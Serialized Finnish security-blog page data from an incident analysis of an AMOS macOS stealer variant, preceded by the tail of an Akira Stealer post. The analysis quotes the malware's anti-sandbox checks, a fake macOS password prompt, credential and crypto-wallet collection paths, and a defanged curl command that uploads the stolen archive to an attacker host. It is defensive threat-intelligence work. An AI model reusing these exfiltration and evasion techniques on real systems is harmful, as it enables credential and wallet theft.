uhkatoimijoiden työkalupakeista ja luonnossa liikkuvista haittaohjelmanäytteistä. Nämä sirpaleet eivät ole meidän immateriaalista omaisuuttamme, eikä niitä tule pitää turvallisina, puhdistettuina tai muutoin \"vaarattomina\". Tällaisen koodin toistamista tai operatiivista käyttöä ei nimenomaisesti suositella. Lukijoiden on ymmärrettävä, että vaikka tämä materiaali palvelee tutkimus- ja tietoisuustoimintoa, se kantaa luonnostaan riskiprofiilia, jota ei tule aliarvioida.",[526,12820,12821],{},"Vain koulutetut ammattilaiset, jotka toimivat laillisesti valtuutetuissa ympäristöissä—kuten akkreditoidut tietoturvatiimit, SOC-yksiköt, akateemiset tutkijat tai haittaohjelmalaboratoriot—tulisi olla tekemisissä kuvattujen tekniikoiden tai koodin kanssa. Kaiken kokeilun on rajoituttava eristettyihin, tuotannon ulkopuolisiin järjestelmiin ja noudatettava sovellettavia lakeja, sisäisiä käytäntöjä ja eettisiä standardeja.",[526,12823,12824],{},"Emme tarjoa tukea tai validointia millekään toistetulle koodille tai käyttäytymiselle. Emme takaa tarkkuutta, merkityksellisyyttä tai täydellisyyttä. Lisäksi torjumme nimenomaisesti tämän sisällön kaiken käytön offensiivisiin tarkoituksiin, luvattomaan red teamingiin, kaupalliseen haittaohjelmakehitykseen tai vastustajatestaukseen laillisesti määritellyn laajuuden ulkopuolella. Kaikki väärinkäyttö voi johtaa oikeudellisiin seuraamuksiin. glueckkanja AG kiistää kaiken vastuun suorista tai epäsuorista vahingoista, jotka aiheutuvat tämän sisällön käytöstä tai väärintulkinnasta.",[526,12826,12827],{},"Jatkamalla tämän sisällön lukemista tai siihen viittaamista hyväksyt edellä mainitun ja sitoudut olemaan väärinkäyttämättä, toistamatta tai soveltamatta mitään sen osaa laittomissa tai epäeettisissä yhteyksissä. Epävarmoissa tapauksissa ota yhteyttä juridiseen, compliance- tai tietosuojaosastoosi ennen kuin ryhdyt live-koodianalyysiin tai vastaavaan tekniseen materiaaliin.",[526,12829,12830],{},"Tämä julkaisu toimitetaan \"as is\", ilman takuuta, tukea tai vastuuta.",[12832,12833,12834],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":530,"searchDepth":531,"depth":531,"links":12836},[12837,12838,12839,12840,12851,12852,12853,12854,12855,12856,12857,12858,12860,12861,12862,12863,12864,12865,12866,12867,12868,12871,12879,12880,12881,12887,12905,12923,12924,12925,12926,12934,12941,12948,12957,12964,12965,12966,12967,12968,12969,12970,12971,12972,12973,12974,12975,12976,12977,12978,12979],{"id":750,"depth":531,"text":751},{"id":800,"depth":531,"text":801},{"id":822,"depth":531,"text":823},{"id":878,"depth":531,"text":879,"children":12841},[12842,12843,12845,12847,12849],{"id":899,"depth":2102,"text":900},{"id":952,"depth":2102,"text":12844},"2.1.2 Updater.exe – ensimmäisen vaiheen loader",{"id":1059,"depth":2102,"text":12846},"2.1.3 main.exe – obfuskoitu NodeJS-payloadin säiliö",{"id":1177,"depth":2102,"text":12848},"2.1.4 cmd.exe ja PowerShell-välitys",{"id":1287,"depth":2102,"text":12850},"2.1.5 python.exe ja astor.py",{"id":1425,"depth":531,"text":1426},{"id":1514,"depth":531,"text":1515},{"id":1591,"depth":531,"text":1592},{"id":1671,"depth":531,"text":1672},{"id":1741,"depth":531,"text":1742},{"id":1821,"depth":531,"text":1822},{"id":1930,"depth":531,"text":1931},{"id":2047,"depth":531,"text":12859},"4.2 AMSI-ohitustekniikka (luokka: gofor4msi)",{"id":2233,"depth":531,"text":2234},{"id":2354,"depth":531,"text":2355},{"id":2454,"depth":531,"text":2455},{"id":2550,"depth":531,"text":2551},{"id":2625,"depth":531,"text":2626},{"id":2694,"depth":531,"text":2695},{"id":2753,"depth":531,"text":2754},{"id":2894,"depth":531,"text":2895},{"id":2957,"depth":531,"text":2958,"children":12869},[12870],{"id":2969,"depth":2102,"text":2970},{"id":3324,"depth":531,"text":3325,"children":12872},[12873,12874,12875,12876,12877,12878],{"id":3333,"depth":2102,"text":3334},{"id":3447,"depth":2102,"text":3448},{"id":3645,"depth":2102,"text":3646},{"id":3936,"depth":2102,"text":3937},{"id":4012,"depth":2102,"text":4013},{"id":4174,"depth":2102,"text":4175},{"id":4409,"depth":531,"text":4410},{"id":4455,"depth":531,"text":4456},{"id":4467,"depth":531,"text":4468,"children":12882},[12883,12884,12885,12886],{"id":4473,"depth":2102,"text":4474},{"id":4517,"depth":2102,"text":4518},{"id":4577,"depth":2102,"text":4578},{"id":4612,"depth":2102,"text":4613},{"id":4649,"depth":531,"text":12888,"children":12889},"7.3 Analyysin vastaisuus / väistely (luokka: VmProtect)",[12890,12891,12892,12893,12895,12896,12897,12898,12899,12900,12901,12902,12903,12904],{"id":4658,"depth":2102,"text":4659},{"id":4674,"depth":2102,"text":4675},{"id":4713,"depth":2102,"text":4714},{"id":4801,"depth":2102,"text":12894},"7.3.4 VmProtect-arkkitehtuuri",{"id":5153,"depth":2102,"text":5154},{"id":5219,"depth":2102,"text":5220},{"id":5288,"depth":2102,"text":5289},{"id":5352,"depth":2102,"text":5353},{"id":5420,"depth":2102,"text":5421},{"id":5477,"depth":2102,"text":5478},{"id":5575,"depth":2102,"text":5576},{"id":5645,"depth":2102,"text":5646},{"id":6100,"depth":2102,"text":6101},{"id":6146,"depth":2102,"text":6147},{"id":6163,"depth":531,"text":6164,"children":12906},[12907,12908,12910,12912,12914,12916,12918,12920,12922],{"id":6324,"depth":2102,"text":6325},{"id":6433,"depth":2102,"text":12909},"7.4.2 Salasanadumppaaja (Chromium.GetPasswords)",{"id":6555,"depth":2102,"text":12911},"7.4.3 Luottokorttidumppaaja (Chromium.GetCreditCards)",{"id":6637,"depth":2102,"text":12913},"7.4.4 Evästedumppaaja (Chromium.GetCookies)",{"id":6717,"depth":2102,"text":12915},"7.4.5 Google-istuntodumppaaja (Chromium.dump_google_sessions)",{"id":6844,"depth":2102,"text":12917},"7.4.6 Historiadumppaaja (Chromium.GetHistory)",{"id":6915,"depth":2102,"text":12919},"7.4.7 Automaattisen täytön dumppaaja (Chromium.GetAutofills)",{"id":6977,"depth":2102,"text":12921},"7.4.8 Firefox-profiilin sieppaaja (GeckoDriver & grabFirefoxProfiles)",{"id":7055,"depth":2102,"text":7056},{"id":7094,"depth":531,"text":7095},{"id":7426,"depth":531,"text":7427},{"id":7540,"depth":531,"text":7541},{"id":7870,"depth":531,"text":7871,"children":12927},[12928,12929,12930,12931,12932,12933],{"id":7879,"depth":2102,"text":7880},{"id":8030,"depth":2102,"text":8031},{"id":8136,"depth":2102,"text":8137},{"id":8261,"depth":2102,"text":8262},{"id":8328,"depth":2102,"text":8329},{"id":8453,"depth":2102,"text":8454},{"id":8558,"depth":531,"text":12935,"children":12936},"7.9. Discord- ja Telegram-tokenvarkaus (luokka: Discord)",[12937,12938,12939,12940],{"id":8573,"depth":2102,"text":8574},{"id":8705,"depth":2102,"text":8706},{"id":8949,"depth":2102,"text":8950},{"id":9030,"depth":2102,"text":9031},{"id":9100,"depth":531,"text":9101,"children":12942},[12943,12945,12946,12947],{"id":9113,"depth":2102,"text":12944},"7.10.1 Data-luokan alustus",{"id":9211,"depth":2102,"text":9212},{"id":9331,"depth":2102,"text":9332},{"id":9396,"depth":2102,"text":9397},{"id":9473,"depth":531,"text":12949,"children":12950},"7.11 Tiedostojen sieppaaja (luokka: Utils.steal_files)",[12951,12952,12953,12954,12955,12956],{"id":9485,"depth":2102,"text":9486},{"id":9556,"depth":2102,"text":9557},{"id":9619,"depth":2102,"text":9620},{"id":9652,"depth":2102,"text":9653},{"id":9681,"depth":2102,"text":9682},{"id":9861,"depth":2102,"text":9862},{"id":9970,"depth":531,"text":9971,"children":12958},[12959,12960,12961,12962,12963],{"id":9979,"depth":2102,"text":9980},{"id":9994,"depth":2102,"text":9995},{"id":10073,"depth":2102,"text":10074},{"id":10222,"depth":2102,"text":10223},{"id":10455,"depth":2102,"text":10456},{"id":10810,"depth":531,"text":10811},{"id":10841,"depth":531,"text":10842},{"id":10963,"depth":531,"text":10964},{"id":11074,"depth":531,"text":11075},{"id":11125,"depth":531,"text":11126},{"id":11304,"depth":531,"text":11305},{"id":11354,"depth":531,"text":11355},{"id":11398,"depth":531,"text":11399},{"id":11438,"depth":531,"text":11439},{"id":11527,"depth":531,"text":11528},{"id":11544,"depth":531,"text":11545},{"id":12067,"depth":531,"text":12068},{"id":12373,"depth":531,"text":12374},{"id":12494,"depth":531,"text":12495},{"id":12557,"depth":531,"text":12558},{"id":12730,"depth":531,"text":12731},"post",{"lang":12982,"seoTitle":12983,"titleClass":12984,"date":12985,"categories":12986,"blogtitlepic":12988,"socialimg":12989,"customExcerpt":12990,"keywords":12991,"maxContent":325,"asideNav":12992,"footer":13041,"contactInContent":13042,"published":325},"fi","Akira Stealer: modulaarisen tietoja varastavan haittaohjelman tekninen analyysi","h2-font-size","2025-06-16",[12987],"Security","head-quiet-breach.png","/blog/heads/head-quiet-breach.png","Kaikki alkoi yhdestä Defender-hälytyksestä Microsoft 365:ssä. Ei haittaohjelmaa, ei signatuureja, ei paniikkia. Vain kuiskaus kohinassa. Löysimme kuukausia jatkunutta tunnistetietojen varastamista - kirurgisen tarkkaa, hiljaista ja lähes näkymätöntä. Näin CSOC:mme muutti vaimean signaalin täyden mittaluokan vasteeksi. Ja palautti asiakkaallemme hallinnan ennen kuin hän edes tiesi menettäneensä sen.","Microsoft 365 -tietoturva, tunnistetietojen varastamisen havaitseminen, Incident Response, Microsoft Defender, managed security services, cloud security, uhkien havaitseminen, kyberhyökkäysten havaitseminen, CSOC, Advanced Threat Protection",{"menuItems":12993},[12994,12996,12999,13002,13005,13008,13011,13014,13017,13020,13023,13026,13029,13032,13035,13038],{"href":12995,"text":560},"#prologi",{"href":12997,"text":12998},"#_1-ensimmäinen-tapahtuma-ja-triage-yhteenveto","Ensimmäinen tapahtuma ja triage-yhteenveto",{"href":13000,"text":13001},"#_2-haittaohjelman-arkkitehtuuri-ja-suoritusketjun-yleiskuva","Haittaohjelman arkkitehtuuri ja suoritusketju",{"href":13003,"text":13004},"#_3-deep-dive-updaterexe","Deep Dive: Updater.exe",{"href":13006,"text":13007},"#_4-deep-dive-powbat","Deep Dive: pow.bat",{"href":13009,"text":13010},"#_5-deep-dive-mainexe-electron-pohjainen-haittaohjelman-loader","Deep Dive: main.exe",{"href":13012,"text":13013},"#_6-deep-dive-inputjs-salattu-javascript-payloadin-loader","Deep Dive: input.js",{"href":13015,"text":13016},"#_7-deepdive-akira-stealer-v2-astorpy","DeepDive: Akira Stealer v2",{"href":13018,"text":13019},"#_8-kiertävä-suoritusketju-itsekorjautuva-silmukka","Kiertävä suoritusketju",{"href":13021,"text":13022},"#_9-lohkoketjun-jäljitys-ja-analyysi","Lohkoketjun jäljitys ja analyysi",{"href":13024,"text":13025},"#_10-akira-ekosysteemin-sisällä-kaupallistettu-kyberrikollisuuden-infrastruktuuri","Akira-ekosysteemin sisällä",{"href":13027,"text":13028},"#_11-akira-stealer-quickcheck-kohteeksi-joutuneet-tiedostot","Akira Stealer QuickCheck: kohteeksi joutuneet tiedostot",{"href":13030,"text":13031},"#_12-vasteen-jälkeen-näin-glueckkanja-csoc-muuttaa-poikkeamat-oivalluksiksi","Näin glueckkanja CSOC muuttaa poikkeamat oivalluksiksi",{"href":13033,"text":13034},"#_13-indicators-of-compromise-iocs","Indicators of Compromise (IOCs)",{"href":13036,"text":13037},"#_14-katsaus-akira-stealer-poikkeamaan-vahvista-puolustustasi-glueckkanja-csocn-avulla","Katsaus Akira Stealer -poikkeamaan",{"href":13039,"text":13040},"#_15-tietoturva-ja-vastuuvapauslauseke-todellisen-haittaohjelmakoodin-käyttö","Tietoturva- ja vastuuvapauslauseke",{"noMargin":325},{"quote":484,"infos":13043},{"bgColor":13044,"color":13045,"boxBgColor":13046,"boxColor":13047,"headline":13048,"subline":13049,"level":748,"textStyling":13050,"flush":13051,"person":13052,"form":13064},"var(--color-gk-violet)","var(--color-gk-white)","var(--color-gk-yellow)","var(--color-copy)","Ota yhteyttä nyt","Johtavana Microsoft Security -MSSP:nä suojaamme yrityksiä kyberuhkilta joka päivä. Keskustellaan ja vahvistetaan kyberpuolustustasi yhdessä!","text-light","justify-content-end",{"image":13053,"cloudinary":325,"alt":13054,"name":13054,"detailsHeader":13055,"details":13056},"/people/people-pam-team.png","Project & Account Management","Odotamme innolla, että kuulemme sinusta!",[13057,13061],{"text":492,"href":13058,"details":13059,"icon":13060},"tel:+49 69 4005520","Soita nyt","site/phone",{"text":493,"href":13062,"icon":13063},"mailto:info@glueckkanja.com","site/mail",{"ctaText":13065,"cta":13066,"method":12980,"action":13068,"fields":13069},"Lähetä",{"skin":13067},"primary on-surface","/send",[13070,13074,13078,13081,13085,13090,13093,13096],{"type":13071,"id":13072,"value":13073},"hidden","_next","successful",{"label":13075,"type":621,"id":13076,"required":325,"requiredMsg":13077},"Nimi*","name","Anna nimesi.",{"label":13079,"type":621,"id":403,"required":325,"requiredMsg":13080},"Yritys*","Anna yrityksesi.",{"label":13082,"type":13083,"id":13083,"required":325,"requiredMsg":13084},"Sähköpostiosoite*","email","Anna sähköpostiosoitteesi.",{"label":13086,"type":13087,"id":13088,"required":325,"requiredMsg":13089},"Tietosi tallennetaan meille pyyntösi käsittelyä ja siihen vastaamista varten. Lisätietoja tietosuojasta löydät \u003Ca href=\"/fi/privacy\">tietosuojaselosteestamme\u003C/a>.","checkbox","dataprotection","Vahvista",{"type":13071,"id":13091,"value":13092},"_subject","Form: Blog MSSP 2025 | FI",{"type":13071,"id":13094,"value":13095},"inbox_key","gkgab-contact-form",{"type":13071,"id":13097},"_gotcha","/posts/2025-06-16-quiet-breach",{"title":552,"description":563},"posts/2025-06-16-quiet-breach",[13102,13103,13104,13105],"Microsoft 365 Defender","Threat Intelligence","Cyber Security Operations Center","Incident Deep Dive","e6EZWvyUPa-Tt3zi2bSZOqoEmTyfu27AeWN-Rey1oaw",{"id":13108,"title":13109,"author":13110,"body":13111,"cta":494,"description":13115,"eventid":494,"extension":533,"hideInRecent":484,"layout":12980,"meta":15195,"moment":15197,"navigation":325,"path":15254,"seo":15255,"stem":15256,"tags":15257,"webcast":484,"__hash__":15261},"content_fi/posts/2026-04-10-incident-to-intelligence.md","Tuntemattoman AMOS Stealerin anatomia: alertista immuniteettiin tunneissa",[521],{"type":523,"value":13112,"toc":15159},[13113,13116,13119,13122,13125,13129,13131,13134,13141,13143,13147,13149,13152,13161,13164,13167,13175,13178,13182,13184,13187,13206,13209,13217,13220,13228,13235,13239,13241,13244,13252,13267,13271,13273,13276,13280,13282,13290,13294,13296,13304,13308,13310,13313,13317,13319,13322,13330,13334,13336,13343,13346,13435,13438,13468,13470,13474,13476,13482,13485,13489,13491,13564,13568,13570,13581,13588,13659,13670,13677,13681,13683,13742,13746,13748,13755,13757,13761,13763,13770,13796,13981,13984,13992,14003,14006,14014,14028,14041,14043,14047,14049,14066,14088,14277,14280,14288,14291,14294,14296,14300,14302,14305,14377,14380,14399,14476,14479,14481,14485,14487,14490,14497,14552,14555,14563,14566,14568,14572,14574,14581,14592,14640,14651,14690,14699,14714,14717,14719,14723,14725,14732,14735,14743,14746,14754,14768,14771,14773,14777,14779,14789,14793,14795,14813,14821,14835,14854,14858,14860,14863,14871,14874,14882,14895,14899,14901,14904,14912,14930,14936,14940,14942,14950,14956,14963,14967,14969,14977,14981,14983,14986,14994,14997,15001,15003,15011,15015,15017,15025,15029,15031,15039,15043,15045,15053,15070,15075,15077,15081,15083,15090,15107,15110,15123,15125,15129,15131,15134,15137,15140,15156],[526,13114,13115],{},"Kun SOC:ssamme laukeaa alert, kello alkaa käydä: ei vain kyseiselle asiakkaalle vaan kaikille organisaatioille suojamme alla. Vaarallisin hetki nykyaikaisessa uhkaympäristössä on Intelligence Gap, se aikaikkuna uuden haittaohjelmavariantin ensimmäisen käytön ja sen päivän välillä, jona ala saa siitä tiedon.",[526,13117,13118],{},"Itsenäisille tietoturvatiimeille tämä aukko merkitsee äärimmäistä haavoittuvuutta: odotellaan vendor-päivitystä tai signatuurifeediä, jota ei ole vielä kirjoitettu. Asiakkaillemme sisäisesti kehittämämme Shared Threat Intelligence sulkee täsmälleen tämän ikkunan.",[526,13120,13121],{},"Tämä kirjoitus on tekninen erittely siitä, miten purimme tähän asti dokumentoimattoman AMOS-variantin (Atomic macOS Stealer) ja miten yhdestä ainoasta kompromentoidusta endpointista tuli muutamassa tunnissa kattava tunnistus ja esto kaikkiin asiakasympäristöihimme.",[13123,13124],"hr",{},[557,13126,13128],{"id":13127},"tapaus-tuntematon-ioc-skenaario","Tapaus: tuntematon IOC-skenaario",[526,13130,563],{},[526,13132,13133],{},"Alert saapui 12. maaliskuuta 2026 kello 06.25 paikallista aikaa: macOS-endpoint oli kompromentoitu. Kun SOC:mme aloitti artefaktien analyysin, edessämme oli tilanne, jota jokainen threat analyst pelkää: ei tunnettuja tiedostohasheja, ei C2-IP-osoitteita, ei puhuttelevia käyttäytymissignatuureja julkisissa tietokannoissa.",[526,13135,13136,13137,13140],{},"Koko hyökkäysarkkitehtuuri paljastui vasta syväanalyysissä. Infektio perustui 15,7 Mt:n kokoiseen macOS Universal Binaryyn (x86_64 ja ARM64), joka oli sijoitettu polkuun ",[579,13138,13139],{},"/private/tmp/helper",". Sample ei ollut suoraan saatavilla kompromentoidulla järjestelmällä; tiimimme joutui rekonstruoimaan infektioketjun ja simuloimaan alkuperäisen toimituspyynnön hakeakseen binäärin käsin hyökkääjän infrastruktuurista.",[13123,13142],{},[748,13144,13146],{"id":13145},"stage-1-sandbox-tarkistukset","Stage 1: sandbox-tarkistukset",[526,13148,754],{},[526,13150,13151],{},"Ennen kuin varsinainen stealer suoritettiin laitteella, oli jo ajettu AppleScript-payload. Jokainen merkkijono siinä, jokainen tiedostopolku, jokainen shell-komento, jokainen URL oli koodattu kolmella mukautetulla aritmeettisella funktiolla:",[862,13153,13155],{"style":13154},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[616,13156,13159],{"className":13157,"code":13158,"language":621},[619],"on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n",[579,13160,13158],{"__ignoreMap":530},[526,13162,13163],{},"Yksikään merkkijono ei esiinny selkotekstinä. Se, mikä ensi silmäyksellä näytti merkityksettömiltä kokonaislukutaulukoilta, paljastui koodausskeeman kääntämisen jälkeen täydeksi, käyttövalmiiksi tietovarkaus- ja eksfiltraatiokehykseksi.",[526,13165,13166],{},"Dekoodasimme jokaisen taulukon skriptissä staattisesti. Tulokset olivat yksiselitteisiä:",[862,13168,13169],{"style":13154},[616,13170,13173],{"className":13171,"code":13172,"language":621},[619],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[579,13174,13172],{"__ignoreMap":530},[526,13176,13177],{},"Lataus-URL jäljittelee tarkoituksella legitiimiä n8n-workflow-automaation päivitystä, ja n8n on työkalu, joka on laajalti levinnyt kehittäjien ja DevOps-insinöörien keskuudessa. Se ei ole sattumaa: kampanja tähtää teknisesti taitaviin käyttäjiin, ei tavallisiin loppukäyttäjiin, jotka asentavat krakattua ohjelmistoa.",[748,13179,13181],{"id":13180},"anti-sandbox-tarkistus","Anti-sandbox-tarkistus",[526,13183,754],{},[526,13185,13186],{},"Ennen latausta skripti ajoi oman VM- ja sandbox-tunnistusrutiinin. Incident-artefakteista pystyimme lisäksi palauttamaan itsenäisen anti-sandbox-skriptin:",[862,13188,13189],{"style":13154},[616,13190,13194],{"className":13191,"code":13192,"language":13193,"meta":530,"style":530},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[579,13195,13196,13201],{"__ignoreMap":530},[1718,13197,13198],{"class":1720,"line":1721},[1718,13199,13200],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[1718,13202,13203],{"class":1720,"line":531},[1718,13204,13205],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[526,13207,13208],{},"Tulokset skripti tarkisti sitten kahta listaa vastaan. Ensimmäinen etsi virtualisointimerkintöjä muistitiedoista:",[862,13210,13211],{"style":13154},[616,13212,13215],{"className":13213,"code":13214,"language":621},[619],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[579,13216,13214],{"__ignoreMap":530},[526,13218,13219],{},"Toinen tarkisti laitteistotunnisteet tunnettujen analyysikoneiden sarjanumerolistaa vastaan:",[862,13221,13222],{"style":13154},[616,13223,13226],{"className":13224,"code":13225,"language":621},[619],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[579,13227,13225],{"__ignoreMap":530},[526,13229,13230,13231,13234],{},"Osuman sattuessa: ",[579,13232,13233],{},"exit 100",", täysi keskeytys. Aidolla MacBook Prolla, jossa on Apple Silicon, kaikki tarkistukset menivät äänettömästi läpi ja suoritus jatkui. Ammattitason sandbox-evaasiotekniikka, joka ajoi ennen kuin ainuttakaan binäärin tavua oli ladattu.",[748,13236,13238],{"id":13237},"yksinkertainen-mutta-tehokas-väärennetty-salasanakysely","Yksinkertainen mutta tehokas: väärennetty salasanakysely",[526,13240,754],{},[526,13242,13243],{},"Dekoodattu skripti sisälsi myös dialogin oikeuksien korottamiseen social engineeringin kautta:",[862,13245,13246],{"style":13154},[616,13247,13250],{"className":13248,"code":13249,"language":621},[619],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[579,13251,13249],{"__ignoreMap":530},[526,13253,13254,13255,13258,13259,13262,13263,13266],{},"Dialogi ilmestyy tavallisella macOS:n ",[579,13256,13257],{},"display dialog"," -kutsulla ",[579,13260,13261],{},"with hidden answer"," -määreellä, eikä sitä voi visuaalisesti erottaa aidosta macOS:n valtuutuskyselystä. Syötettyä salasanaa skripti käytti kutsuakseen ",[579,13264,13265],{},"login -pf \u003Cusername>"," ja nostaakseen prosessin root-oikeuksiin, vielä ennen kuin binääri suoritettiin.",[748,13268,13270],{"id":13269},"mitä-skripti-keräsi","Mitä skripti keräsi",[526,13272,754],{},[526,13274,13275],{},"Heti kun binääri oli suoritettu, osascript jatkoi omaa keräysprosessiaan ja poimi jokaisen arkaluonteisen järjestelmädatan kategorian. Dekoodasimme kaikki keräyspolut ja kohteet:",[897,13277,13279],{"id":13278},"selaindata-kaikki-chromium-selaimet-safari","Selaindata (kaikki Chromium-selaimet + Safari):",[526,13281,903],{},[862,13283,13284],{"style":13154},[616,13285,13288],{"className":13286,"code":13287,"language":621},[619],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[579,13289,13287],{"__ignoreMap":530},[897,13291,13293],{"id":13292},"macos-keychain","macOS Keychain:",[526,13295,903],{},[862,13297,13298],{"style":13154},[616,13299,13302],{"className":13300,"code":13301,"language":621},[619],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[579,13303,13301],{"__ignoreMap":530},[897,13305,13307],{"id":13306},"apple-notes","Apple Notes",[526,13309,903],{},[526,13311,13312],{},"Koko sisältö vietiin HTML:nä laskurityppisellä otsikolla",[897,13314,13316],{"id":13315},"paikalliset-tiedostot","Paikalliset tiedostot",[526,13318,903],{},[526,13320,13321],{},"Työpöytä ja Dokumentit, enintään 30 Mt, painopisteenä:",[862,13323,13324],{"style":13154},[616,13325,13328],{"className":13326,"code":13327,"language":621},[619],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[579,13329,13327],{"__ignoreMap":530},[897,13331,13333],{"id":13332},"kryptovaluttalompakot","Kryptovaluttalompakot",[526,13335,903],{},[526,13337,13338,13339,13342],{},"Kovakoodattu lista, jossa on ",[568,13340,13341],{},"yli 200 selainlaajennuksen ID:tä"," ja joka kattaa kaikki yleiset lompakot, mukaan lukien MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI ja Exodus.",[526,13344,13345],{},"Keräyksen jälkeen kaikki data niputettiin satunnaisesti nimettyyn väliaikaishakemistoon ja eksfiltroitiin:",[862,13347,13348],{"style":13154},[616,13349,13351],{"className":2795,"code":13350,"language":2797,"meta":530,"style":530},"ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n",[579,13352,13353,13382,13408,13424],{"__ignoreMap":530},[1718,13354,13355,13358,13361,13364,13367,13370,13373,13376,13379],{"class":1720,"line":1721},[1718,13356,13357],{"class":2804},"ditto",[1718,13359,13360],{"class":2812}," -c",[1718,13362,13363],{"class":2812}," -k",[1718,13365,13366],{"class":2812}," --sequesterRsrc",[1718,13368,13369],{"class":3032}," \u003C",[1718,13371,13372],{"class":2808},"staging_di",[1718,13374,13375],{"class":3042},"r",[1718,13377,13378],{"class":3032},">",[1718,13380,13381],{"class":2808}," /tmp/out.zip\n",[1718,13383,13384,13387,13390,13393,13396,13399,13402,13405],{"class":1720,"line":531},[1718,13385,13386],{"class":2804},"curl",[1718,13388,13389],{"class":2812}," --connect-timeout",[1718,13391,13392],{"class":2812}," 120",[1718,13394,13395],{"class":2812}," --max-time",[1718,13397,13398],{"class":2812}," 300",[1718,13400,13401],{"class":2812}," -X",[1718,13403,13404],{"class":2808}," POST",[1718,13406,13407],{"class":2812}," \\\n",[1718,13409,13410,13413,13416,13419,13422],{"class":1720,"line":2102},[1718,13411,13412],{"class":2812},"  -H",[1718,13414,13415],{"class":2808}," \"user: \u003Cuuid>\"",[1718,13417,13418],{"class":2812}," -H",[1718,13420,13421],{"class":2808}," \"BuildID: \u003Chw_profile>\"",[1718,13423,13407],{"class":2812},[1718,13425,13426,13429,13432],{"class":1720,"line":2108},[1718,13427,13428],{"class":2812},"  -F",[1718,13430,13431],{"class":2808}," \"file=@/tmp/out.zip\"",[1718,13433,13434],{"class":2808}," laislivon[.]com/contact\n",[526,13436,13437],{},"Siivous seurasi välittömästi:",[862,13439,13440],{"style":13154},[616,13441,13443],{"className":2795,"code":13442,"language":2797,"meta":530,"style":530},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[579,13444,13445,13462],{"__ignoreMap":530},[1718,13446,13447,13450,13453,13455,13457,13459],{"class":1720,"line":1721},[1718,13448,13449],{"class":2804},"rm",[1718,13451,13452],{"class":2812}," -r",[1718,13454,13369],{"class":3032},[1718,13456,13372],{"class":2808},[1718,13458,13375],{"class":3042},[1718,13460,13461],{"class":3032},">\n",[1718,13463,13464,13466],{"class":1720,"line":531},[1718,13465,13449],{"class":2804},[1718,13467,13381],{"class":2808},[13123,13469],{},[557,13471,13473],{"id":13472},"stage-2-helper-binäärin-reverse-engineering","Stage 2: 'helper'-binäärin reverse engineering",[526,13475,563],{},[526,13477,13478,13481],{},[579,13479,13480],{},"helper","-binääri on se osa, jossa tämä analyysi menee todella syvälle. Kyseessä on ammattimaisesti obfuskoitu macOS-executable, joka vaikeuttaa staattista analyysiä järjestelmällisesti ja aiheutti tämän tutkimuksen suurimman reverse engineering -työn.",[526,13483,13484],{},"Koko analyysi tehtiin Ghidralla ja omalla mukautetulla ARM64-analyysityönkulullamme.",[748,13486,13488],{"id":13487},"tiedoston-ominaisuudet","Tiedoston ominaisuudet",[526,13490,754],{},[862,13492,13494],{"style":13493},"border-radius: 6px; overflow: 